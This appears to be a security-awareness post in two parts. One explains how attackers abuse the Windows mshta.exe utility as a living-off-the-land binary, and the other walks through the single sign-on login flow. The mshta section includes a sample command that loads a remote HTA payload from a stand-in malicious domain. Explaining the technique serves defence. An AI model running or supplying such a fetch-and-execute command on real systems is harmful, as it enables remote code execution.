๐Ÿฆ‘ LOLbins attacks :

mshta.exe is a legitimate system executable included in Microsoft Windows. It stands for Microsoft HTML Application Host, and its primary purpose is to execute HTML Applications (HTA files). These HTA files are standalone applications that use HTML, JavaScript, VBScript, or other scripting languages.

During an incident response exercise, we identified a sophisticated adversary leveraging Living-Off-The-Land Binaries (LOLBins) to perform malicious actions. They used PowerShell to execute commands, minimizing their footprint and evading detection.

The activity was flagged when Windows Defender logged multiple Event ID 4104 entries in the Microsoft-Windows-PowerShell/Operational log.

Note : These logs revealed suspicious PowerShell commands executing obfuscated scripts.

Further investigation uncovered the use of mshta.exe to load a remote payload via a seemingly legitimate URL.

Key points:
Attackers frequently abuse mshta.exe as part of Living-Off-The-Land Binaries (LOLBins) because:

1>Bypasses Security Controls:
Since it's a legitimate system utility, some security tools may not flag its use as suspicious.
2>Remote Code Execution:
mshta.exe can execute malicious scripts hosted remotely, allowing attackers to deliver payloads via URLs.

Sample Code : mshta.exe "hzzp://malicious-domain[.]com/payload[.]hta"

๐Ÿฆ‘SSO (Single Sign-On) Explained.

SSO can be thought of as a master key to open all different locks. It allows a user to log in to different systems using a single set of credentials.

In a time where we are accessing more applications than ever before, this is a big help to mitigate password fatigue and streamlines user experience.

To fully understand the SSO process, ๐—น๐—ฒ๐˜โ€™๐˜€ ๐˜๐—ฎ๐—ธ๐—ฒ ๐—ฎ ๐—น๐—ผ๐—ผ๐—ธ ๐—ฎ๐˜ ๐—ต๐—ผ๐˜„ ๐—ฎ ๐˜‚๐˜€๐—ฒ๐—ฟ ๐˜„๐—ผ๐˜‚๐—น๐—ฑ ๐—น๐—ผ๐—ด ๐—ถ๐—ป๐˜๐—ผ ๐—Ÿ๐—ถ๐—ป๐—ธ๐—ฒ๐—ฑ๐—œ๐—ป ๐˜‚๐˜€๐—ถ๐—ป๐—ด ๐—š๐—ผ๐—ผ๐—ด๐—น๐—ฒ ๐—ฎ๐˜€ ๐˜๐—ต๐—ฒ ๐—ถ๐—ฑ๐—ฒ๐—ป๐˜๐—ถ๐˜๐˜† ๐—ฝ๐—ฟ๐—ผ๐˜ƒ๐—ถ๐—ฑ๐—ฒ๐—ฟ:

๐Ÿญ) ๐—จ๐˜€๐—ฒ๐—ฟ ๐—ฟ๐—ฒ๐—พ๐˜‚๐—ฒ๐˜€๐˜๐˜€ ๐—ฎ๐—ฐ๐—ฐ๐—ฒ๐˜€๐˜€

First, the user would attempt to access the Service Provider (LinkedIn). At this point, a user would be presented with login options, and in this example, they would select "Sign in with Google".

๐Ÿฎ) ๐—”๐˜‚๐˜๐—ต๐—ฒ๐—ป๐˜๐—ถ๐—ฐ๐—ฎ๐˜๐—ถ๐—ผ๐—ป ๐—ฟ๐—ฒ๐—พ๐˜‚๐—ฒ๐˜€๐˜

From here, the Service Provider (LinkedIn) will redirect the user to the Identity Provider (Google) with an authentication request.

๐Ÿฏ) ๐—œ๐—ฑ๐—ฃ ๐—ฐ๐—ต๐—ฒ๐—ฐ๐—ธ๐˜€ ๐—ณ๐—ผ๐—ฟ ๐—ฎ๐—ฐ๐˜๐—ถ๐˜ƒ๐—ฒ ๐˜€๐—ฒ๐˜€๐˜€๐—ถ๐—ผ๐—ป

Once the Identity Provider (Google) has received the request, it will check for an active session. If it doesn't find one, authentication will be requested.

๐Ÿฐ) ๐—จ๐˜€๐—ฒ๐—ฟ ๐˜€๐˜‚๐—ฏ๐—บ๐—ถ๐˜๐˜€ ๐—ฐ๐—ฟ๐—ฒ๐—ฑ๐—ฒ๐—ป๐˜๐—ถ๐—ฎ๐—น๐˜€

At this stage, the user will submit their login credentials (username and password) to the Identity Provider (IdP).

๐Ÿฑ) ๐—œ๐—ฑ๐—ฃ ๐˜ƒ๐—ฒ๐—ฟ๐—ถ๐—ณ๐—ถ๐—ฒ๐˜€ ๐—ฐ๐—ฟ๐—ฒ๐—ฑ๐—ฒ๐—ป๐˜๐—ถ๐—ฎ๐—น๐˜€

The Identity Provider will then verify the submitted credentials against its User Directory (database). If the credentials are correct, the IdP will create an authentication token or assertion.

๐Ÿฒ) ๐—œ๐—ฑ๐—ฃ ๐˜€๐—ฒ๐—ป๐—ฑ๐˜€ ๐˜๐—ผ๐—ธ๐—ฒ๐—ป ๐˜๐—ผ ๐—ฆ๐—ฒ๐—ฟ๐˜ƒ๐—ถ๐—ฐ๐—ฒ ๐—ฃ๐—ฟ๐—ผ๐˜ƒ๐—ถ๐—ฑ๐—ฒ๐—ฟ

Once the token or assertion has been created, the IdP sends it back to the Service Provider confirming the user's identity. The user is now authenticated and can access the Service Provier (LinkedIn).

๐Ÿณ) ๐—”๐—ฐ๐—ฐ๐—ฒ๐˜€๐˜€ ๐—ด๐—ฟ๐—ฎ๐—ป๐˜๐—ฒ๐—ฑ ๐˜‚๐˜€๐—ถ๐—ป๐—ด ๐—ฒ๐˜…๐—ถ๐˜€๐˜๐—ถ๐—ป๐—ด ๐˜€๐—ฒ๐˜€๐˜€๐—ถ๐—ผ๐—ป

Since the Identity Provider has established a session, when the user goes to access a different Service Provider (eg; GitHub), they won't need to re-enter their credentials. Future service providers will request authentication from the Identity Provider, recognize the existing session, and grant access to the user based on the previously authenticated session.

SSO workflows like the above operate on SSO protocols, which are a set of rules that govern how the IdP and SP communicate and trust each other. Common protocols include Security Assertion Markup Language (SAML), OpenID Connect, and OAuth.
